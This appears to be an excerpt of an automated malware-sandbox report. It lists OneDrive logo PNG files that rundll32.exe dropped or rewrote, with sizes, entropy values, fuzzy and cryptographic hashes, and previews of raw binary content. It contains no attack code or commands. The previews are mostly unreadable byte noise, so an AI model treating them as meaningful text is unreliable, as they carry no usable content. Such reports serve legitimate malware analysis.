Size (bytes):	3066
Entropy (8bit):	7.859412720026654
Encrypted:	false
SSDEEP:	48:spm7tAiXZXuKTrrg1D4dRk2LPVWhz89tGW4k4a1Mqlvs0ak5a7VLioAR+rZS:sp8CHKT/wD8oWVnlUOOLOR+tS
MD5:	BA2AEBFB799917464DBAA1F5726F717B
SHA1:	C3BF3C7D223533CB1E5C41F140934EF450823B2D
SHA-256:	981F935D608A3604F488F914D0F5F2B78148A3B59020667DA17C1A0377FD1E96
SHA-512:	65A487D19A03CB6C4AEC5400450F5248F18366115CF445DBC2B91E3B648F4C700B050A3481AF77C5A55F902B43DD9A33DA5B2042909BDB924515077259C458AD
Malicious:	false
Preview:	.....C.(J..))a...Q.O.....Nm..F..y5o..S.LS.7q.^yK...^..._..}.g./..Fl.Y."(..!5].z ....Dm.Q...-..E{vs.3......j..A..k.J...lu..D.."r...I+.Y...j...!/......xF(.@\|.....G<mF&..\|J..(\jo.................O....$.}0.....F.F{....YmvV....\.K..t.......$Q..7.>.z%....)B..8a.....N...\|.@KM .J..o.....G<mF..\|J..dko....x............O....$.........F{....YmvV....\.K..t.......$...7.>......)..8a.....N..D.@KM ....o...5..G<mF..\|J..dko.:..x...k"....64..\.,...I".F.....=)....g.{..X..D[...n.=.....g..k..Q8t.&..^..d.2z..m...\|)...l...\|1...nh.mT.$..K~:`..Dz(w...Y.=.d.5.".>...?.g.F..,.Z.9......f..I.......w...b.j..]F.v.0:.dZk..-..."4.)..G.g....UA.}....c]6.MV...m'..#..S&.7...y\EXMEm.J"G..3.y.\|...I_.....2.U.OM.gr.7..J....l..EmCe.@..........$6.:.{P.......z....1S.i......A....H...}..arv:.^..hfZ.2#..zT!xhU.`%..........O.A..?.u2.Q...5.R..+...`.X.....$....Q..\|.....4J41...............2.)......".......KK...h.<.&.2O.3...^.....S.....a..VD..i..e..D..g2.+. .<.k.'D...3.Z[RyO.

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-400.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	6925
Entropy (8bit):	7.59303134915743
Encrypted:	false
SSDEEP:	96:TrIWI+99e2ytx3ZoQLJKnvTDtkwVIPauNQyuVsokPuLM0cPdO2E5jP4S:TkWLWx3Z9LmicXVstr0cPKZQS
MD5:	5836419B77FFE850420A6A759426C03E
SHA1:	EDD7BBE6D2810D91EFA5A7945F6CE3D52F3AF172
SHA-256:	F859E13752327BB7302A7C47BEE570385CC4392DB16ADA62C23BEC0F91ABD083
SHA-512:	1DD6137DEFAB606A707FA29BB81295FE3A8F80028C74D8725BC429E98D2D52178E1282A013260753F71BA533B28944CEB8F7825EFC93584FF62232055C6B107B
Malicious:	false
Preview:	.....Z...1...f.....=.....c...).....Z.......}8X.!.......iw{.).dyq.e<...uIDATx...U.[....-.+x.....P0T......b.b....U`.`.....Y.<e...L>.srx...$x..;s...........C.. ..........@`...,..........X....P.......B4..U.H}..Y..c..^.1....Y..R....<.=.da..T..h...`..........X......... ..........@`...,..........X......... ..........@`...,..........X...,..... ..........@`...,..........X...,.....7.P...1....B....H=..YA>a....} ...+.p...s..H6. ...s.....s....X...,..... ....X.....@`.. ...........X...,..... ....X.....@`.. ..........@`...,..... ....X.....@`.. ..........@`...,..... ........P..1'j.F&....J=.X..O.........v.P...#..j..`s..5...Hp..D...........X......... ..........@`...,..........X......... ..........@`...,..........X......... ..........@`...,..........X......&..9P...1...Fb...d=..O.~...K..u......P.[.c...J?.`7..W......./...X...,..... ..........@`...,..........X...,..... ....X.....@`...,..........X...,..... ....X.....@`...,..........X...,..... ........[...0..]F"...U.?.....k..[W.u,[..>.P

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-100.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3015
Entropy (8bit):	7.856306767214055
Encrypted:	false
SSDEEP:	48:139IEby9t4lJn0LFD/gdIeCcutcUDy44DkJo4B96kRAU2eegTO5HUQdMmL1C3MSS:J9Iv9t6JDqe7uCU241m4Oad5JOdT1C38
MD5:	92C70A8BEA05BD14CEFB1C2738A501DC
SHA1:	8A92767146D9F244D1E578407A4C927E82CEF9F2
SHA-256:	51AE6D7944004005B3DC107E1C902FD1BE86BF67300C09A663A2F8D202BCE58C
SHA-512:	E6215C1CEBDE3082BE55E6B49D83A8ADB06862E842B0FE62487EE68E709D1DD0956EE86F8FBB1087E3E936437F001772BBEB8F0A010DD1F47D10D46D93B6E8A3
Malicious:	false
Preview:	..(.... /c8.0.=q.......X.}d..=..D.IU.Z.ZT.$.....f....y._z.Q...... .N@.]....#...:.......\|u!.....t~n@x..3;.....0.C......nq.G.....j...C..C..S.g.[.....^a<#....s2...L.;p.....m.G.'....n..D..........N[.M.Y..,.......[V)09.E..zq.....`m.... ...8.....m..M......}.XK......S.-.M....U.kf..L..yn.....>9.W...a...i...E.yF.3.....~.C@.....CB.m.N.......wr;....!(.....4,.E...e.P.w....:..&x.....}.NL^.......-.O.....K}b.....'(.....u}.\...s.C.u....{..a..\.`..N.W....L.-.R......60/.Z...$0..Q.*.....t...5.....d@.'9.I..~...S....[..o.T......$#i....f2..M.8:.G...x.C.+.....rR.&.....m.oY.V.Z.Y[.r.y.....0vnm.W..+9...F.5,.K...C...+...2.eF.~)..F..~.i].Y....W.?......MI(6U.@..sh.....jo.....:.\.s....n..;j..K.#..{R..H.C../........i;L....==..L.xm.....6...N...T.1..$j..V...I..W......k.[.....F9qi....&,...E.(..@..3...r....dR.@.....g.O.AK.>.Yj.A......UU;!y....2.G.?.....p.Z.~..T.i..>w.....>...N..I.T..0.........;!y....3.L.......p.W.~..T.i..>w.....>...N..I.T..0.........;!y......

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-125.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3442
Entropy (8bit):	7.870617021587107
Encrypted:	false
SSDEEP:	96:2GSwBWdyJDbN0gWYdG24xp+t/rAWkV9GXRTcHMrrjS:2GosT0gWYw24xp8TAWkmXRTDvjS
MD5:	3CCF30C9D6B6D3E50FAF6E811E81F3B2
SHA1:	7E0B366BD217DD47A52FD0C5581DCFCCBD5A83E9
SHA-256:	36EA6439CD4FFBFC191E37E5A40794481E4E6149EB93A0A04EA952F8830CDA2E
SHA-512:	292E8E8374D475C554BDE598951F93AED409E36B41DB06EFDEC2D9AE82DEE68131104E329C65DD18A1F49CA75B513D96ED64001414F2F97B6065A0622F892C58
Malicious:	false
Preview:	.2J.....HM.-B.4dQR.....E..../.....?.....#..9f...!g...V..:.Xg....'/..s..fdQRh'&.8,...B.VI.....Cu........gW...\.....]..#..o....vm.X1...4&.;a.$#....@.WAt...<........R.../.E......'.!k....~`..?..Q].c^(-.qa...ZI..9.~........G..d.Y...4..1..i.....,+..c..^~}.ln.?~....MW../...`........^...*JD....j..3..g.....'#.Ro....>'.&;.h5...X.^^+...;.......H..+TH... ..U..i.....+p.H..\K~".iu.'?...M._K{...<..........D..,V......3.....>....)).Bn....~".tm.;%....LV..6...!.....}...^...k.......l.....+.....f}.Mf..F.<>.h#.<.......G^,...<...........k.I...~..%..k....>(.T(....!h+i\|.<"....[.or...o.....X..i$..t.^...j....@$.....:(.Tn...lpZ+(.e}...6W..'.w.........Z].. P.....3..G.[).....\|..:..R]\|b_!).jm..../.GOr............Q..smV.....:..G.X4....r+.Rf..[F8?.\|\|.8#.....GAe...u....._...T..4Q....~.4.2v....uo.rL../!.dY"/.e......Cc[...<.....t...G..-]]...j..Z..6....q`.B3..^.3c]/..}+.....Cc[...,.....t...G..-]]...j..Z..6....q`.B3..^.3c]/..}+.....Cc[...&..

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-150.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3988
Entropy (8bit):	7.912974261152215
Encrypted:	false
SSDEEP:	96:NCtFltMduxOBST3KkpuAd5cD1lZnaVcEdEQVZPS:CtXYBST3KkpBOvpKcEhnS
MD5:	48CB11DF50B8B3862214375C9AE94DDB
SHA1:	0179B214AA9D324F76CEAF7D869B6A199467259B
SHA-256:	09E30A4C6D47FCA503724E56A509CC71F65941020CA0F36493691BE5C7EE7A69
SHA-512:	A4DCEAA0BDCED80964EABB1637C7766316A7ED1F92D28177ACE79215B8F15C5954B4F667920B740ED64639C3DD606A23615F92F2513E2F48E0EF2430EEC2731C
Malicious:	false
Preview:	....8.Ot.u$O.).....O.!......-.9...........T.p.8V........@D.#g@..J..!.c..~.......s.Y{C..r....$.a.'e.W..z.'.fg.ztv.bg..qO.5~o....V.zJ!IQ<....n.Oo.LgL..o....,.j...1....e...S:.~\..JK.q<.6z,...B..kB,..2.M.%..\|..2...'..I{.>...fA...u.P..w..1.+..r&.?l,...IA.7.gH.n....$.Y8..\|...e..@z. ...nX..j..._6.'Y`.)...fx.Ani...NB.,.oU[b.W..d.Zr..+Z.y....3.-..fZ..i...I2.iX~.sN..%2.T.,...IA.!.<WAr...$.[=..dP..s....&.j...m[...g...E$.z_\|.d\.d!..^x....\.k.e.Kc....$.F .NxJ.8..Va.w..f.....R._#.0.<.x..{~.UIc...FB.tZ1ZDk.O..f.@<.R.g.....3. ...=...i..../.z.".;..ml.Txi...UQ...d.]%.M..{.m=.@.M.x..[..`...4.../...h..8.".+..zx..Y%...JB...d.]c....6.....&...&...Ly.;...lB...e...[m.eSz.rk.q!.I.=......r 0@.7.W.&..u..)..g....".n....(....w.I..a.;.G.>....(.V.;......&Ng.[k...b.O(..{L..7...,.g...3...(....d.G{..@..{l.2iO...A[. I#.{A.M..H..v..&...5......5..=.....R.F'.c^w.9...!,.K.=...V.qF,M.e.@..>..{.E:...5......5..1.....R.F'.n^w.9...!,.K.=...V.qF,M.e.@..>..{.E:...5......5..5

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-200.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4873
Entropy (8bit):	7.922192399365297
Encrypted:	false
SSDEEP:	96:r9VLCELVj4OVw8QZarZicFny8JTYcnvP86BtClNPfMH+O7elKS:7tj4rZ8icFyCTYcnvEllNPUHzekS
MD5:	FF782AF9A48A68855058C517D1EA3DCC
SHA1:	AC738C04951DC23BC8B416BBF94BF58F3389233E
SHA-256:	AA46A4BD6DED57EE1AE93544B05B47A9926AEB94165F95E4EE014B2E1928B925
SHA-512:	3DD19AC35AD0E4EC0B22E64E54B28BA3C2F07BC56C6CCBBB6EB75BFB0316BB0258830A64345523952969160EB7E107D09AD1D4CEA1A3EF9F598A05B6C2DF614C
Malicious:	false
Preview:	.....{W...'T-...S......p.^D..%u....x.eJ5T.6.f......$.y...I.[p.....9ni..e..\.S.......5!.\:....S"..dt.Y.D....?~..hi.b..._.t0..Cb?+.R'..,.6.......d<.^9........~# ...F.....;V..@E.r.m.\.7.....Ts7&..)P.k.}.....T.lt.Dw....\..)rd...F....o..!..t.w.U.72...[/em..u..,.\|.....K.16.Si....C..!k&.[.....bS..#..,.).+.r9....4ne.Xy..=.<.......2.F ......])i{.N......,R..y@.?.c.>.72...[9b6.Bi..f.\|........q .S=........"he........?U..nR...p.y.c:...s`o.HxK.3.\|........k.Rh......^)>9.p.[.....u...r..t./.?.x'...Nl/;.GpJ.\|.>......=.y..,........r";.X.......?...1..D.=.>.r9.....wn.^>G.$.#.......+..e......}{) .N.....}...!..y.).f.>h...[.sn.^x!.(.n.....H.su.(i....E..#qn...F... Y..xe.d.p.#.&s..PjU:..,R.i.~.....X.34.1=.......Lg#i...W....~...4..'.x.<. p.....>;m.Xp..a.:........\|d..7.....n\|*;.p......oM..uN.x.=.X.T.....8<).xZ'.........J.of..5......Yr(7.t.[.....&T..`..u.,.#..s....Sie&../U.=.c.....I.if..5......X~#:.t.[.....+T..`..u.,.#..s....Sie&../U.=.c.....I.if..5......Jz

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-400.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8723
Entropy (8bit):	7.67589387999815
Encrypted:	false
SSDEEP:	192:WFnYoH28X0AkGORYOpnhLWQuKWWMx5QOWS:WFLWw0Akb5QLGOh
MD5:	41341C657B1655CDD2C462DDC43FEDB5
SHA1:	6D88C9B7E97DF7B1F89E5D7109A576CD10CF4408
SHA-256:	41B2E601200E4B78A408D1E0E6E5368BF29B988D8D76FA57EB30347369581EB3
SHA-512:	69C94A4DDF884400CD004F4332E81A24548AFFE761B4EB752AFEF71B87F47D488A42D8022B88909A77A4D38DF2FDB3D9DAA1C291E89825F4338649B76CF196F6
Malicious:	false
Preview:	U.PW[{..-q..-..E2.f..y..N.]..O...1...<..f......(...._.5.?5..L:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP..qb3Q.(.\n.P.t ..U.LM...h.m.P..+....Y._A.\.......E..a...2.... xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/"..s\|8..bNL/w..$-........./.9.G..v.._...T[.I.....Z4.V.+.C.9....tp://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/R..qe$..C[.ckG.to_.^......:.2....R..S.H.........j.W..f...?...)" xmp:CreateDate="2019-06-17T15:14:48-07:00" xmp:ModifyDate="2019-06-17T15:17:51-07:00" xmp:MetadataDate="2019-06-17T15:17:51-0.. tQ.e..bm.. *........./.}....\|..^.R..........,EN.0._.>....CProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:9f9a1b27-e65b-aa4c-87dd-38adc36a2235" xmpMM:DocumentID="xmp.did:9f9a1b27-..+r{..2N\5(..y$....LO...{......^..~....

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveMedTile.scale-100.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3285
Entropy (8bit):	7.882329751521385
Encrypted:	false
SSDEEP:	48:JJ0i2nqBEIR/lQ9WV663cp5GzRXVr2bkovr5E2ePffSjD6uXIg3/BD2oHGrhpS:JJ0dqLRT6MM5GFzIrKBPffSNXIgMHvS
MD5:	C77FB13589A6E248B23B3ED218EF8687
SHA1:	41EA54B779206B3657CB96FD40194FBEE6B6C832
SHA-256:	CB5579638EB76C978CCCCEEE04F3FAC3CE61E658228E0E22597972D05263AEB3
SHA-512:	010BE3230B44689261DF05C8D2CAA7480960ED02A12449D1DA6A94762D9833DE6218336389D50BD289D450EBE8B66054BF0F66B2CDC6176767B9FF122CAFE189
Malicious:	false
Preview:	`.:..4.-.\|..d.?.Q.I.rh..u.s6.6.Y..,.....{a.#..Q..U....5i$.\|.,.....'.A..l..g. .n/.."{.....S..].RU-.}....a.uTa..G..k.v...1a..p\1y8.t..L.,q..Z. % .q..QZ)3..s..1...`0.g:.7..Y.%xP....Q.....u.d......#.Z..PbcMM}.e....)RU,...}.4.....H.6.0....r.v...yt...'a}..-.y.Z.eRR~.9}.r6...B.,....V..T+.X.f.r.z...... v=.i.t"..'.~..m.{...E.pV......D.7.../.}Z.xG;1..bA.......s....c<.L..._..,..zZ....3..U...l}.p.8x.}1.....N..I=/.j_........#.2..{AZ.......$..b...U.&....ow..1zv1...:.1..k....U..C..iO.C.W.5.<<......mq.Wk..z3;$....7t..Q).... .c.{.X..S.q#../.%...8sjT.........[.1.9C>._..kS..u..2..!5....}..rSjzlY..._k..s}.......Io...Suakth..&O...cL.?I0s....x}X...~\..:.).....gOzL..\|...M./j..0..."...N./..l.#y.[.m.Z..p..r....bsr7..>.\|a..T.9......,q...I..........8{.%...DY#.z$...&.....F.d.jr..g..>..yYvR.9.....O)...W.;"E.b.rA....6.'<k..E....!.g...W>L...}sG.....X..+Tg\|A]o..x..U.NA9..r..y..'..&....7..%......d....p.Y....\|V.+..}Ye4..A..n@imy....~..\`......`-$...).[W..w..P.....G.

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveMedTile.scale-125.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4421
Entropy (8bit):	7.922807066397498
Encrypted:	false
SSDEEP:	96:1kQkjHr1zuNGMNF1lrjh24WI3bjhvP1cFjS:2f5zkGu3AY3vjYS
MD5:	25AF7CE478C2415AB721A6CE5E679588
SHA1:	EB49A7A9049C2636A35CC8ED23CEB205916F55B6
SHA-256:	84BCEDE32BA63AA9DDD83833602954F20DF82224C92AF03FCC342DD8156CAF94
SHA-512:	3AF7D2578E3233C959E6A6D9C39881DC7DF715B0997D29F7C78EC6A74A22D8BE6807743818134BBEA8D79543F547888FC3C2E5DE6EE4177E08C58D522EF9CDC7
Malicious:	false
Preview:	R.<V.-.2....\'@.>.LB..p...A....&L.r ...v..tt.;.]..[........d.......8..SET;\|..H.\|_.............=......JC..w+..'Pn....i......o....2LA_U.x......#.EOS{....Q.S.,.......}.,u.pv.......'.."C.".D.82.<..o.E.%..:.....Aw...k&..k.Dq/%...#..g.\..B.P........Lq.p&...b.5S.T ...b.....N.....%L.j..].<..W.....9n.@...i.......x.:=...D6.tE.#....x.:.l.Mm.T........A......}...M.....C...-....,.`.\.%...\..0H.Pz).u.Aed..R7c.i...Eu..[...T.[....j......Q..<pn.+..K'.....0....3.....c).c\..=..".X.E.....N..Z....8t.g7...s_p.6..rPWT...g.,.e@dZ#....'.h!.....,..w4.gd.Aq.....6d.........d..;.....N.....-p..A...X2....Js...6.8jG.-.+...s6.c....oKJ,......XOV.. .._...;.P(..0..,........3e.....r.B....0....._....M...V./.........T..n.6..@..%[L,.Q1 .T...........^...F.'.a....g.Q_...a].E.....a..;.l.D];.$>.^'...I.]..X.....}.g>\..1.;.)Vl..H.Z.=8..}.#.2A.7O.+......*..$.1..._.d".!:@d....S...q.....C.bh.>t>....~M...cK....r.a.5...)t4.........&..n-...:..g...[....%...p&.x..I~.<...n..nD^..d.J...

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveMedTile.scale-150.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5612
Entropy (8bit):	7.868810416645765
Encrypted:	false
SSDEEP:	96:4PYxBXwzMAt4oz8IAF5/9H0jZ2Hshnkyv5aVCqZWyb5Dj6rkKtLwf9S:42fDoozF5/d092M1kyv48iWybJYkKFQw
MD5:	A19B3832AC3664221AFFDFA9310C7030
SHA1:	FC6566ECE12C3D0A6C12F7180C433FCC270AD330
SHA-256:	0CECB782F2814662DAB4AAF1F586B9F48B54225739E25E3445FB16E4441E7D2B
SHA-512:	07313BC7F230D9D48E285724B2628ADFCA5B5AD1FDEB26D2F2FC9384EC99CB861103E02566E51838CAB725745264DFC063336C80F3E9DB2249651DCCCCE4DFDE
Malicious:	false
Preview:	..y6..4x.5......<.E.....f%.O.`..bt."gP.5.%.S~.....u...,{....}#dyq.e<...TIDATx....d.Y.....3...]V...G.hY....QTVPP .!......W...2... ..J.R!.M!.%..R...........Y0...vv..{...{.....{{.g...U...o...16..)...[..N... ....f,..6.x.b}.V+..vr..$.h...\.d..e...P.R................................................................................................................................O.).;..>q...K..=... ..4...>~.....}#.....6...M!.?$.C;W.S.m...{.B"!d.o.r...FF$D......S..i......,.{...CY.S)B"#...\|.E@.....zD.,...s..C!.."^.}3..Q.2"..H..H8...R.Ds...P....X.v.F..'..I.\F.........Y.')l..}..u{j+....j..w0.k.3e...}...aK]...^.[....HK.\|.D.S.O..gF=..g..H.,..v..b.FTDD$<..K..l....G.y..s.so...\|.9^..M.m..R....a.8.....;...?.<v..p..~t..4.E...n.q#..a..>.Y.i.z..h.x.#.p...^...,%.&....\|....U.H..9_...#........S...=D..q&y8...fw...q...'..h.~yS..6w......Zot.2.`.^...eyz}.Q........=.~.0dl&.h6.l..H...J=...+^~5.z....}...vUV.b_(.b.<.x..cw..<...w.3.]D...5.....it.cv....j."H."...E.@..S.s}.....C(...0..{

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveMedTile.scale-200.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7258
Entropy (8bit):	7.837175642139945
Encrypted:	false
SSDEEP:	192:YdtG5Aw+mZ69+RqX+LOMVz1k3HWRwn4Kb/RmIxlS:YG5AbsigqX+iMZzUJmIG
MD5:	9BB9857275F3560C2E7D222263957D58
SHA1:	003F1A75121F7BAEDF12295E7E5D44A7A403FC2A
SHA-256:	F4D57FD84C82ED771AD7642194C4FDD3A0327470C671D243B1CF4D0BEBCE00EB
SHA-512:	7544BA1C157E88B35141E544CA81E979FDF39CE7F51D9B42AA65FAF6314638ED15B14BBCDD2F9B58103755D43CFCD02FF5B7837FE0B6EF3BAC5A18822D27D318
Malicious:	false
Preview:	j.SR.h..........8AE.'3.~.V.@....JY?.}.D... g?.d......-.)..c...dyq.e<....IDATx....,Uy.O........\P#O.."...V......".BQ..h.ZI,....2V.V..4.ZE...A.c!F#.WA...(^1^.>ww^}.=;3{..9..gf...~_.5=..3.........R.+.....X.8A..'s.R\..@...hZHY...u....P.h...1...0H..............a.. ,.@X......a.....@X............@X........ ,.........a.. ,.........a.. ,.@X......a.....@X............@X..................A...B......x6..Y@D..3...P&K...i..[?.Q.....V.H.....g...`....j.g.......... ,.........a.. ,.........a.. ,.@X......a.....@X...................... ,.........a.. ,.........a.. ,.@X..... ...`.x..a~6`....+....P.L..c.......l ...=..= ...>..v.<n.\.T.xd..`.....}.H..$. Q...D..3..3o....I......D.).8.QQ.K6^{..)&.i!,@T.E\Q..+-ST%-".#9.-..c.+..l..,.W.....K. :...c,+/BP..I.%.....!0...BX.ADe.R...<XG..Z".035...v..p7%)+..t...T....Rp$.:F.g.g9.....z..!T.3.e. ..tA..m^.y....m!,X...".6..T....q...+.R.}M^~.=........cQ.d.k.........).2Ei.AJ.i!,X?.....U.d...w..+........g....."W<Nx.J.....hN..o".nEK?z1.!'D.J=..Sk~zqSH.H...e. q.

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveMedTile.scale-400.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	16246
Entropy (8bit):	7.887465076323163
Encrypted:	false
SSDEEP:	384:M7YFVF3n5zpEFRRDPp92yJJVgxFtPt0bg:M7OFXJcR/AoVgxPPSg
MD5:	365A765ED0EDBF9BB9B2CB04609440CE
SHA1:	EEE8BDB6F316843DCA1C92F357B374EC75271247
SHA-256:	E16EA27B0F46C21391E118960DBBB5921C069792E6E900E0BBBEE4DB7DE86D62
SHA-512:	B6C45F99FF7360CAFCA1EFA33EB20E07A2B007FE67D11C0AE1D3487C16E30A3CAA478033FE4D3F4D712979790C14B941FA6C55DDDED63F1329952EB64018A009
Malicious:	false
Preview:	.3.q.'..,.O..%....O.=<K....rc6..(w..cR........wP..;x...{P.q....dyq.e<..=.IDATx.....dYA..s#r........E........"#..,..Q.Q?e.D..T.........a.g.........<.G/l.@.[...eDeVEF....7."".?.$###.Pm.^...?8ii.k..a)..=<A....wc.~m.gN.z$^...l.G..1.V.....R<..DX.... ....X.....@`.. ..........@`...,..........X.....@`.. ..........@`...,..........X......... ..........@`...,..........X............6.;....O@=l....MB8<.`...*c..f.w..z....J.l....u.W_...8...Z..X......... ..........@`...,..........X......... ..........@`...,..........X...,..... ..........@`...,..........X...,..... ....X..a.6.M..$.O.Y{..;.M.e<I....f....w.Iz&W....m....5.@_.6.."e..`t..... ....X.....@`.. ...........X...,..... ....X.....@`.. ..........@`...,..... ....X.....@`.. ..........@`...,..........X.....@`..C~6.)....M.......M.9I 5..b;..o.wVq{&uW.N.z.w(.5.6^....2......X......... ..........@`...,..........X......... ..........@`...,..........X......... ..........@`...,..........X......... ......c.=.mz.,.c.]i..{:O.-dI..O...._I}pw..".

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-100.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1097
Entropy (8bit):	7.516080561245359
Encrypted:	false
SSDEEP:	24:6ntvwiJJU4C6yHmASMvxpmXE8vf1POuZ16P1v13ySYhSS:6nt4icFlGcvxpAEzKo936SS
MD5:	0BCCD93568EC73938B540666C2BEB7A5
SHA1:	A3DE80B39AF05C2C02E38FD4AD7270BE340DCEDA
SHA-256:	1191FDF97339DD192DBBC227FD3A38A8A64996ADF8BC3BE543E827637B932CBF
SHA-512:	42C637A41A52C2B3D95758BC3EC4B7E16C5FCBBDA4DA60F52BC62A027F0AC701AB94FDE471A96C4BBB1538622A62C2B3535BC560D790244027C9399800274F02
Malicious:	false
Preview:	..t{.<]..].${...;....N..po...[,...,H`'.M..j......k...q5Po._e.W.6{...2.U.O.13i.p /.....#.#.(.N.V..m...,Y{.A.g...~..W.!d..a..Su..9J.t~:...t... .{/..6^._.%...8B.w....g...a...F..e6..$.).`..=...5..^..._.._...:jTa_M...M...<.....%...h....+-.X.6.u.x....GO..x....f3....,...nQ$..&Lf.{..~.^=b.[..u..u.YM.A.r....G.....E...+.0iy.OK.......G3\|......p.j...2...R.?.....`.s...t...?)..o.c.Y..ag..:i.L.q.7....s<.,.8./..;".._..j.....`.g....h.a...)o;.....O...$!e.../TE....;k...ha..^..qZ'\..m.O....t.oI.............{..+...!....j.....a.O.T.q.....\|G.1.`>{.L.=r.5.V\|..dHz6/...5`L....r.W&...UzG.OL./.m.G.>.4^ep.$..,../t.n.x....uz..PM5......'.+.8..cE.-3!..f.j...m..h....xMYx.....o...G9.W.o...!.T.,&..;....W.....Q......f._Go...yNp../..o~>..!....9....=CW.o..x..!.....IEND.B`.......[..J...+w..V.G..O...[."\.S}Y....HS....m.N.KG....d.6.DW.\.*...6o.....f....s.0&........3J.._..........6..`5eI...Tj.V......hK.&q.!..........R4.j4W...<....j @.j]5 ..ok3q...}y._b....8...%..s9.SR............

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-125.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1332
Entropy (8bit):	7.615980723578792
Encrypted:	false
SSDEEP:	24:ZYtDjEehjV+6YMHO0fHYu0zEOuQcpPnQi7/NVmtwjIDIrxuZzktY9UpZS:ZYaeV4nv0QpYCcpPQi5gGIDIrDS
MD5:	606FEFF6157E1E5F2838D6FEDF6B35C7
SHA1:	2CFEE2F568FA7E2BB33130C14F4E42DB63F4B320
SHA-256:	DDDEEE6CEEF512E212D3DF7F698D2D1CAC63218DC13A150AFC01584897D05676
SHA-512:	88BD58A88E49113DE4F87A368C18641701BD3282F1A844D8E37BF5ECCA812925F8B55321EC28274EC9C58F4BCAD733B9F62ADF6D8F337BF0B0ED5A0D163F67C8
Malicious:	false
Preview:	(G.B.z.p..8...d...0u.....!..+...2G/..u:....bzp....k?&...s8."L.7k.1....-..P......x..#O..s..c-d&..Ivv~...."5J.U..J,...z.(7CV.s".b.....5.....(......9.............0.Oh.Jin.....+v.gI.....-.\|........_.?.bsI....-.?...>..U...wvU.C.....&..\D........g..d....M.w.....v....-.u..c$..5.I.l.J3q4..B..JS...=.#..k...Z.N?9.:(..%.....C..^..{.,....l...N..c7.....E..=.y..;.....-.zzA:[a+.J...-.....K....:....++5...<..[@.$..b7hJ\.@....h<?.&!.n}$..6T.lFh.......Y]....u#sG.t....#...,k..q........+:-...,...&u.b...:.!../.XL.D.3 ..5N..$...+S,..K?.\|0......>....MhU......f..T...9...h.T.y=.....D.G..1....p.R...... ..3.ra]?.PQ...?FE.../.`.'..`.l..D...:..A.j..=].....R<....Y....>gg..y..;?..%..V.5E..9`{.k...4...g.P.y.......ym....+.=..../.w}......^...k.%..=..v;b.m.v.....\...2... DH....M%.m.g..c.n..z......s..~..G...k.\|eFF. ...4...@F.%.^.....N.$Q;.0.:..rZWo..7...G'9R.;../..&L........-:K.a...-.#......t.a..(.-#>.1...q.?...?c..v}...<H.5 ..<.a..=.`0.....P0...C.`(.....`0.....P0..Fb...c.

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-150.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1516
Entropy (8bit):	7.659830203143893
Encrypted:	false
SSDEEP:	24:93mZoP3PT/HBMeQAxAF3pWMqutPeEipTfOVh1UregdH1GuEiWqIqz6BS:4CPDhMzAMLtUpzODei4H1nAqz6BS
MD5:	4F8CE441401DC18718348BCBE6FC35C7
SHA1:	5ADDB80601055EEB5CBB1A745269200D52837BE8
SHA-256:	B561BA4FDCBA9FE7CB6956669C17F73A274DB64024CD67280F84FC655D071869
SHA-512:	7C7D5C9E9CC4A194514E9DDE9F3C87A295844B7C93D80F754FC57C44111F33EF6F5E4590E0BD142DAD9FC8CDE0C03609DCD6AA2CC704C2ABAC57451575253304
Malicious:	false
